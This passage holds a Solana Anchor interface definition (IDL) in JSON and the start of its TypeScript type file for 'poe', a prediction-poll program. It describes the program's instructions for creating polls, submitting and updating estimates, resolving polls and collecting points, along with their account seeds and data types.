FILE: idl/poe.json
================================================
{
  "address": "ACyH6Avm4uYen8WWyTU4chExQqpF4gCHy5MmtqtpWomk",
  "metadata": {
    "name": "poe",
    "version": "0.1.0",
    "spec": "0.1.0",
    "description": "Proof of Estimate - Prediction Poll"
  },
  "instructions": [
    {
      "name": "add_metadata",
      "discriminator": [
        231,
        195,
        40,
        240,
        67,
        231,
        53,
        136
      ],
      "accounts": [
        {
          "name": "payer",
          "writable": true,
          "signer": true
        },
        {
          "name": "auth",
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  97,
                  117,
                  116,
                  104
                ]
              }
            ]
          }
        },
        {
          "name": "mint",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  101,
                  107,
                  101,
                  110,
                  95,
                  109,
                  105,
                  110,
                  116
                ]
              }
            ]
          }
        },
        {
          "name": "token_program",
          "address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
        },
        {
          "name": "metadata",
          "writable": true
        },
        {
          "name": "token_metadata_program"
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        },
        {
          "name": "rent",
          "address": "SysvarRent111111111111111111111111111111111"
        }
      ],
      "args": [
        {
          "name": "uri",
          "type": "string"
        },
        {
          "name": "name",
          "type": "string"
        },
        {
          "name": "symbol",
          "type": "string"
        }
      ]
    },
    {
      "name": "collect_points",
      "discriminator": [
        221,
        8,
        237,
        153,
        212,
        171,
        156,
        131
      ],
      "accounts": [
        {
          "name": "payer",
          "writable": true,
          "signer": true
        },
        {
          "name": "forecaster"
        },
        {
          "name": "user",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114
                ]
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "poll",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108
                ]
              },
              {
                "kind": "account",
                "path": "poll.id",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "user_estimate",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "scoring_list",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              }
            ]
          }
        },
        {
          "name": "user_score",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  115,
                  99,
                  111,
                  114,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "auth",
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  97,
                  117,
                  116,
                  104
                ]
              }
            ]
          }
        },
        {
          "name": "mint",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  101,
                  107,
                  101,
                  110,
                  95,
                  109,
                  105,
                  110,
                  116
                ]
              }
            ]
          }
        },
        {
          "name": "escrow_account",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  101,
                  115,
                  99,
                  114,
                  111,
                  119
                ]
              }
            ]
          }
        },
        {
          "name": "forecaster_token_account",
          "writable": true
        },
        {
          "name": "token_program",
          "address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
        },
        {
          "name": "associated_token_program",
          "address": "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": []
    },
    {
      "name": "create_poll",
      "discriminator": [
        182,
        171,
        112,
        238,
        6,
        219,
        14,
        110
      ],
      "accounts": [
        {
          "name": "creator",
          "writable": true,
          "signer": true
        },
        {
          "name": "resolver"
        },
        {
          "name": "state",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  101,
                  95,
                  115,
                  116,
                  97,
                  116,
                  101
                ]
              }
            ]
          }
        },
        {
          "name": "poll",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108
                ]
              },
              {
                "kind": "account",
                "path": "state.num_polls",
                "account": "PoeState"
              }
            ]
          }
        },
        {
          "name": "scoring_list",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              }
            ]
          }
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": [
        {
          "name": "question",
          "type": "string"
        },
        {
          "name": "description",
          "type": "string"
        },
        {
          "name": "category",
          "type": "u16"
        },
        {
          "name": "decay",
          "type": "f32"
        }
      ]
    },
    {
      "name": "initialize",
      "discriminator": [
        175,
        175,
        109,
        31,
        13,
        152,
        155,
        237
      ],
      "accounts": [
        {
          "name": "payer",
          "writable": true,
          "signer": true
        },
        {
          "name": "state",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  101,
                  95,
                  115,
                  116,
                  97,
                  116,
                  101
                ]
              }
            ]
          }
        },
        {
          "name": "auth",
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  97,
                  117,
                  116,
                  104
                ]
              }
            ]
          }
        },
        {
          "name": "mint",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  101,
                  107,
                  101,
                  110,
                  95,
                  109,
                  105,
                  110,
                  116
                ]
              }
            ]
          }
        },
        {
          "name": "escrow_account",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  101,
                  115,
                  99,
                  114,
                  111,
                  119
                ]
              }
            ]
          }
        },
        {
          "name": "token_program",
          "address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": []
    },
    {
      "name": "make_estimate",
      "discriminator": [
        169,
        43,
        178,
        59,
        233,
        178,
        74,
        199
      ],
      "accounts": [
        {
          "name": "forecaster",
          "writable": true,
          "signer": true
        },
        {
          "name": "user",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114
                ]
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "poll",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108
                ]
              },
              {
                "kind": "account",
                "path": "poll.id",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "user_estimate",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "poll_estimate_update",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101,
                  95,
                  117,
                  112,
                  100,
                  97,
                  116,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "poll.num_estimate_updates",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "scoring_list",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              }
            ]
          }
        },
        {
          "name": "user_score",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  115,
                  99,
                  111,
                  114,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "forecaster_token_account",
          "writable": true
        },
        {
          "name": "mint",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  101,
                  107,
                  101,
                  110,
                  95,
                  109,
                  105,
                  110,
                  116
                ]
              }
            ]
          }
        },
        {
          "name": "auth",
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  97,
                  117,
                  116,
                  104
                ]
              }
            ]
          }
        },
        {
          "name": "escrow_account",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  101,
                  115,
                  99,
                  114,
                  111,
                  119
                ]
              }
            ]
          }
        },
        {
          "name": "token_program",
          "address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
        },
        {
          "name": "associated_token_program",
          "address": "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": [
        {
          "name": "lower_estimate",
          "type": "u16"
        },
        {
          "name": "upper_estimate",
          "type": "u16"
        }
      ]
    },
    {
      "name": "register_user",
      "discriminator": [
        2,
        241,
        150,
        223,
        99,
        214,
        116,
        97
      ],
      "accounts": [
        {
          "name": "payer",
          "writable": true,
          "signer": true
        },
        {
          "name": "user",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114
                ]
              },
              {
                "kind": "account",
                "path": "payer"
              }
            ]
          }
        },
        {
          "name": "auth",
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  97,
                  117,
                  116,
                  104
                ]
              }
            ]
          }
        },
        {
          "name": "mint",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  101,
                  107,
                  101,
                  110,
                  95,
                  109,
                  105,
                  110,
                  116
                ]
              }
            ]
          }
        },
        {
          "name": "token_account",
          "writable": true
        },
        {
          "name": "token_program",
          "address": "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"
        },
        {
          "name": "associated_token_program",
          "address": "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": []
    },
    {
      "name": "remove_estimate",
      "discriminator": [
        123,
        41,
        255,
        206,
        43,
        234,
        150,
        38
      ],
      "accounts": [
        {
          "name": "forecaster",
          "writable": true,
          "signer": true
        },
        {
          "name": "user",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114
                ]
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "poll",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108
                ]
              },
              {
                "kind": "account",
                "path": "poll.id",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "user_estimate",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "estimate_update",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101,
                  95,
                  117,
                  112,
                  100,
                  97,
                  116,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "poll.num_estimate_updates",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "scoring_list",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              }
            ]
          }
        },
        {
          "name": "user_score",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  115,
                  99,
                  111,
                  114,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": []
    },
    {
      "name": "resolve_poll",
      "discriminator": [
        130,
        62,
        235,
        12,
        76,
        239,
        17,
        61
      ],
      "accounts": [
        {
          "name": "resolver",
          "writable": true,
          "signer": true,
          "relations": [
            "poll"
          ]
        },
        {
          "name": "poll",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108
                ]
              },
              {
                "kind": "account",
                "path": "poll.id",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "scoring_list",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              }
            ]
          }
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": [
        {
          "name": "result",
          "type": "bool"
        }
      ]
    },
    {
      "name": "start_poll",
      "discriminator": [
        59,
        188,
        204,
        28,
        129,
        88,
        202,
        242
      ],
      "accounts": [
        {
          "name": "creator",
          "writable": true,
          "signer": true,
          "relations": [
            "poll"
          ]
        },
        {
          "name": "poll",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108
                ]
              },
              {
                "kind": "account",
                "path": "poll.id",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "scoring_list",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              }
            ]
          }
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": []
    },
    {
      "name": "update_estimate",
      "discriminator": [
        16,
        66,
        42,
        145,
        179,
        218,
        133,
        181
      ],
      "accounts": [
        {
          "name": "forecaster",
          "writable": true,
          "signer": true
        },
        {
          "name": "poll",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108
                ]
              },
              {
                "kind": "account",
                "path": "poll.id",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "user_estimate",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "user_estimate_update",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101,
                  95,
                  117,
                  112,
                  100,
                  97,
                  116,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              },
              {
                "kind": "account",
                "path": "user_estimate.num_estimate_updates",
                "account": "UserEstimate"
              }
            ]
          }
        },
        {
          "name": "estimate_update",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  112,
                  111,
                  108,
                  108,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101,
                  95,
                  117,
                  112,
                  100,
                  97,
                  116,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "poll.num_estimate_updates",
                "account": "Poll"
              }
            ]
          }
        },
        {
          "name": "scoring_list",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              }
            ]
          }
        },
        {
          "name": "user_score",
          "writable": true,
          "pda": {
            "seeds": [
              {
                "kind": "const",
                "value": [
                  117,
                  115,
                  101,
                  114,
                  95,
                  115,
                  99,
                  111,
                  114,
                  101
                ]
              },
              {
                "kind": "account",
                "path": "poll"
              },
              {
                "kind": "account",
                "path": "forecaster"
              }
            ]
          }
        },
        {
          "name": "system_program",
          "address": "11111111111111111111111111111111"
        }
      ],
      "args": [
        {
          "name": "new_lower_estimate",
          "type": "u16"
        },
        {
          "name": "new_upper_estimate",
          "type": "u16"
        }
      ]
    }
  ],
  "accounts": [
    {
      "name": "PoeState",
      "discriminator": [
        56,
        89,
        110,
        49,
        245,
        252,
        16,
        20
      ]
    },
    {
      "name": "Poll",
      "discriminator": [
        110,
        234,
        167,
        188,
        231,
        136,
        153,
        111
      ]
    },
    {
      "name": "PollEstimateUpdate",
      "discriminator": [
        140,
        170,
        34,
        23,
        150,
        213,
        62,
        18
      ]
    },
    {
      "name": "ScoringList",
      "discriminator": [
        200,
        108,
        113,
        50,
        15,
        45,
        206,
        81
      ]
    },
    {
      "name": "User",
      "discriminator": [
        159,
        117,
        95,
        227,
        239,
        151,
        58,
        236
      ]
    },
    {
      "name": "UserEstimate",
      "discriminator": [
        4,
        202,
        200,
        189,
        121,
        204,
        147,
        101
      ]
    },
    {
      "name": "UserEstimateUpdate",
      "discriminator": [
        231,
        183,
        179,
        64,
        195,
        152,
        147,
        122
      ]
    },
    {
      "name": "UserScore",
      "discriminator": [
        212,
        150,
        123,
        224,
        34,
        227,
        84,
        39
      ]
    }
  ],
  "errors": [
    {
      "code": 6000,
      "name": "PollAlreadyStarted",
      "msg": "Poll has already started."
    },
    {
      "code": 6001,
      "name": "PollClosed",
      "msg": "Poll is closed."
    },
    {
      "code": 6002,
      "name": "PollNotResolved",
      "msg": "Poll has not been resolved."
    },
    {
      "code": 6003,
      "name": "PollAlreadyResolved",
      "msg": "Poll has already been resolved."
    }
  ],
  "types": [
    {
      "name": "PoeState",
      "type": {
        "kind": "struct",
        "fields": [
          {
            "name": "authority",
            "type": "pubkey"
          },
          {
            "name": "num_polls",
            "type": "u64"
          },
          {
            "name": "score",
            "type": "f32"
          },
          {
            "name": "recalibration_factor",
            "type": "f32"
          },
          {
            "name": "bump",
            "type": "u8"
          }
        ]
      }
    },
    {
      "name": "Poll",
      "type": {
        "kind": "struct",
        "fields": [
          {
            "name": "creator",
            "type": "pubkey"
          },
          {
            "name": "resolver",
            "type": "pubkey"
          },
          {
            "name": "id",
            "type": "u64"
          },
          {
            "name": "category",
            "type": "u16"
          },
          {
            "name": "has_started",
            "type": "bool"
          },
          {
            "name": "betting_amount",
            "type": "u64"
          },
          {
            "name": "start_slot",
            "type": "u64"
          },
          {
            "name": "end_slot",
            "type": {
              "option": "u64"
            }
          },
          {
            "name": "decay_rate",
            "type": "f32"
          },
          {
            "name": "collective_estimate",
            "type": {
              "option": "u32"
            }
          },
          {
            "name": "variance",
            "type": {
              "option": "f32"
            }
          },
          {
            "name": "ln_gm_a",
            "type": {
              "option": "f32"
            }
          },
          {
            "name": "ln_gm_b",
            "type": {
              "option": "f32"
            }
          },
          {
            "name": "num_forecasters",
            "type": "u64"
          },
          {
            "name": "num_estimate_updates",
            "type": "u64"
          },
          {
            "name": "accumulated_weights",
            "type": "f32"
          },
          {
            "name": "accumulated_weights_squared",
            "type": "f32"
          },
          {
            "name": "result",
            "type": {
              "option": "bool"
            }
          },
          {
            "name": "question",
            "type": "string"
          },
          {
            "name": "description",
            "type": "string"
          },
          {
            "name": "bump",
            "type": "u8"
          }
        ]
      }
    },
    {
      "name": "PollEstimateUpdate",
      "type": {
        "kind": "struct",
        "fields": [
          {
            "name": "poll",
            "type": "pubkey"
          },
          {
            "name": "slot",
            "type": "u64"
          },
          {
            "name": "timestamp",
            "type": "i64"
          },
          {
            "name": "estimate",
            "type": {
              "option": "u32"
            }
          },
          {
            "name": "variance",
            "type": {
              "option": "f32"
            }
          },
          {
            "name": "bump",
            "type": "u8"
          }
        ]
      }
    },
    {
      "name": "ScoringList",
      "serialization": "bytemuck",
      "repr": {
        "kind": "c"
      },
      "type": {
        "kind": "struct",
        "fields": [
          {
            "name": "options",
            "type": {
              "array": [
                "f32",
                128
              ]
            }
          },
          {
            "name": "cost",
            "type": {
              "array": [
                "f32",
                128
              ]
            }
          },
          {
            "name": "peer_score_a",
            "type": {
              "array": [
                "f32",
                128
              ]
            }
          },
          {
            "name": "peer_score_b",
            "type": {
              "array": [
                "f32",
                128
              ]
            }
          },
          {
            "name": "last_slot",
            "type": "u64"
          }
        ]
      }
    },
    {
      "name": "User",
      "type": {
        "kind": "struct",
        "fields": [
          {
            "name": "user_address",
            "type": "pubkey"
          },
          {
            "name": "score",
            "type": "f32"
          },
          {
            "name": "participation_count",
            "type": "u32"
          },
          {
            "name": "correct_answers_count",
            "type": "u32"
          },
          {
            "name": "bump",
            "type": "u8"
          }
        ]
      }
    },
    {
      "name": "UserEstimate",
      "type": {
        "kind": "struct",
        "fields": [
          {
            "name": "forecaster",
            "type": "pubkey"
          },
          {
            "name": "poll",
            "type": "pubkey"
          },
          {
            "name": "lower_estimate",
            "type": "u16"
          },
          {
            "name": "upper_estimate",
            "type": "u16"
          },
          {
            "name": "score_weight",
            "type": "f32"
          },
          {
            "name": "recency_weight",
            "type": "f32"
          },
          {
            "name": "num_forecasters",
            "type": "u64"
          },
          {
            "name": "num_estimate_updates",
            "type": "u64"
          },
          {
            "name": "reputation_score",
            "type": {
              "option": "f32"
            }
          },
          {
            "name": "payout_score",
            "type": {
              "option": "f32"
            }
          },
          {
            "name": "bump",
            "type": "u8"
          }
        ]
      }
    },
    {
      "name": "UserEstimateUpdate",
      "type": {
        "kind": "struct",
        "fields": [
          {
            "name": "poll",
            "type": "pubkey"
          },
          {
            "name": "user",
            "type": "pubkey"
          },
          {
            "name": "slot",
            "type": "u64"
          },
          {
            "name": "timestamp",
            "type": "i64"
          },
          {
            "name": "lower_estimate",
            "type": "u16"
          },
          {
            "name": "upper_estimate",
            "type": "u16"
          }
        ]
      }
    },
    {
      "name": "UserScore",
      "type": {
        "kind": "struct",
        "fields": [
          {
            "name": "forecaster",
            "type": "pubkey"
          },
          {
            "name": "poll",
            "type": "pubkey"
          },
          {
            "name": "options",
            "type": "f32"
          },
          {
            "name": "last_lower_option",
            "type": "f32"
          },
          {
            "name": "last_upper_option",
            "type": "f32"
          },
          {
            "name": "cost",
            "type": "f32"
          },
          {
            "name": "last_lower_cost",
            "type": "f32"
          },
          {
            "name": "last_upper_cost",
            "type": "f32"
          },
          {
            "name": "last_peer_score_a",
            "type": "f32"
          },
          {
            "name": "last_peer_score_b",
            "type": "f32"
          },
          {
            "name": "ln_a",
            "type": "f32"
          },
          {
            "name": "ln_b",
            "type": "f32"
          },
          {
            "name": "peer_score_a",
            "type": "f32"
          },
          {
            "name": "peer_score_b",
            "type": "f32"
          },
          {
            "name": "last_slot",
            "type": "u64"
          },
          {
            "name": "bump",
            "type": "u8"
          }
        ]
      }
    }
  ]
}

================================================
FILE: idl/poe.ts
================================================
/**
 * Program IDL in camelCase format in order to be used in JS/TS.
 *
 * Note that this is only a type helper and is not the actual IDL. The original
 * IDL can be found at `target/idl/poe.json`.
 */
export type Poe = {
  address: "ACyH6Avm4uYen8WWyTU4chExQqpF4gCHy5MmtqtpWomk";
  metadata: {
    name: "poe";
    version: "0.1.0";
    spec: "0.1.0";
    description: "Proof of Estimate - Prediction Poll";
  };
  instructions: [
    {
      name: "addMetadata";
      discriminator: [231, 195, 40, 240, 67, 231, 53, 136];
      accounts: [
        {
          name: "payer";
          writable: true;
          signer: true;
        },
        {
          name: "auth";
          pda: {
            seeds: [
              {
                kind: "const";
                value: [97, 117, 116, 104];
              }
            ];
          };
        },
        {
          name: "mint";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
              }
            ];
          };
        },
        {
          name: "tokenProgram";
          address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
        },
        {
          name: "metadata";
          writable: true;
        },
        {
          name: "tokenMetadataProgram";
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        },
        {
          name: "rent";
          address: "SysvarRent111111111111111111111111111111111";
        }
      ];
      args: [
        {
          name: "uri";
          type: "string";
        },
        {
          name: "name";
          type: "string";
        },
        {
          name: "symbol";
          type: "string";
        }
      ];
    },
    {
      name: "collectPoints";
      discriminator: [221, 8, 237, 153, 212, 171, 156, 131];
      accounts: [
        {
          name: "payer";
          writable: true;
          signer: true;
        },
        {
          name: "forecaster";
        },
        {
          name: "user";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [117, 115, 101, 114];
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "poll";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 108, 108];
              },
              {
                kind: "account";
                path: "poll.id";
                account: "poll";
              }
            ];
          };
        },
        {
          name: "userEstimate";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  117,
                  115,
                  101,
                  114,
                  95,
                  101,
                  115,
                  116,
                  105,
                  109,
                  97,
                  116,
                  101
                ];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "scoringList";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ];
              },
              {
                kind: "account";
                path: "poll";
              }
            ];
          };
        },
        {
          name: "userScore";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];
              },
              {
                kind: "account";
                path: "poll";
              },
              {
                kind: "account";
                path: "forecaster";
              }
            ];
          };
        },
        {
          name: "auth";
          pda: {
            seeds: [
              {
                kind: "const";
                value: [97, 117, 116, 104];
              }
            ];
          };
        },
        {
          name: "mint";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
              }
            ];
          };
        },
        {
          name: "escrowAccount";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [101, 115, 99, 114, 111, 119];
              }
            ];
          };
        },
        {
          name: "forecasterTokenAccount";
          writable: true;
        },
        {
          name: "tokenProgram";
          address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
        },
        {
          name: "associatedTokenProgram";
          address: "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL";
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [];
    },
    {
      name: "createPoll";
      discriminator: [182, 171, 112, 238, 6, 219, 14, 110];
      accounts: [
        {
          name: "creator";
          writable: true;
          signer: true;
        },
        {
          name: "resolver";
        },
        {
          name: "state";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 101, 95, 115, 116, 97, 116, 101];
              }
            ];
          };
        },
        {
          name: "poll";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 108, 108];
              },
              {
                kind: "account";
                path: "state.num_polls";
                account: "poeState";
              }
            ];
          };
        },
        {
          name: "scoringList";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [
                  115,
                  99,
                  111,
                  114,
                  105,
                  110,
                  103,
                  95,
                  108,
                  105,
                  115,
                  116
                ];
              },
              {
                kind: "account";
                path: "poll";
              }
            ];
          };
        },
        {
          name: "systemProgram";
          address: "11111111111111111111111111111111";
        }
      ];
      args: [
        {
          name: "question";
          type: "string";
        },
        {
          name: "description";
          type: "string";
        },
        {
          name: "category";
          type: "u16";
        },
        {
          name: "decay";
          type: "f32";
        }
      ];
    },
    {
      name: "initialize";
      discriminator: [175, 175, 109, 31, 13, 152, 155, 237];
      accounts: [
        {
          name: "payer";
          writable: true;
          signer: true;
        },
        {
          name: "state";
          writable: true;
          pda: {
            seeds: [
              {
                kind: "const";
                value: [112, 111, 101, 95, 115, 116, 97, 116, 101];
              }
            ];
          };
        },
        {
          name: "auth";
          pda: {
            seeds: [
              {
